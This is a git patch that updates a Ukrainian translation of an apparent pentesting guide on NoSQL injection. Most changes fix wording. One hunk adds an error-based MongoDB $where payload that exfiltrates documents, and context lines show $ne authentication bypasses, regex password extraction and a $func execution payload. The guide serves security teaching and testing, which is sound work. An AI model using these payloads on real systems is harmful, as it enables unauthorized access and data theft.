From 8504345f1db761d3e6b23d097e47619eb0d2130f Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 8 Jul 2025 19:36:07 +0000
Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to uk

---
 src/pentesting-web/nosql-injection.md | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md
index 55818c150..5942993e5 100644
--- a/src/pentesting-web/nosql-injection.md
+++ b/src/pentesting-web/nosql-injection.md
@@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
 ```
 ### Обхід базової аутентифікації
 
-**Використання not equal ($ne) або greater ($gt)**
+**Використання не рівно ($ne) або більше ($gt)**
 ```bash
 #in URL
 username[$ne]=toto&password[$ne]=toto
@@ -76,9 +76,9 @@ in JSON
 ...
 /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
 ```
-### PHP Випадкове Виконання Функцій
+### PHP Arbitrary Function Execution
 
-Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
+Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -86,7 +86,7 @@ in JSON
 
 ### Отримання інформації з різних колекцій
 
-Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
+Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
 
 **ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
 ```json
@@ -108,6 +108,12 @@ in JSON
 }
 ]
 ```
+### Error-Based Injection
+
+Вставте `throw new Error(JSON.stringify(this))` у клаузу `$where`, щоб ексфільтрувати повні документи через помилки JavaScript на стороні сервера (вимагає, щоб додаток витікав помилки бази даних). Приклад:
+```json
+{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
+```
 ## MongoDB Payloads
 
 Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -176,7 +182,7 @@ if 'OK' in r.text:
 print("Found one more char : %s" % (password+c))
 password += c
 ```
-### Брутфорс логінів та паролів з POST логіна
+### Brute-force login usernames and passwords from POST login
 
 Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
 ```python
@@ -229,5 +235,6 @@ get_password(u)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 
 {{#include ../banners/hacktricks-training.md}}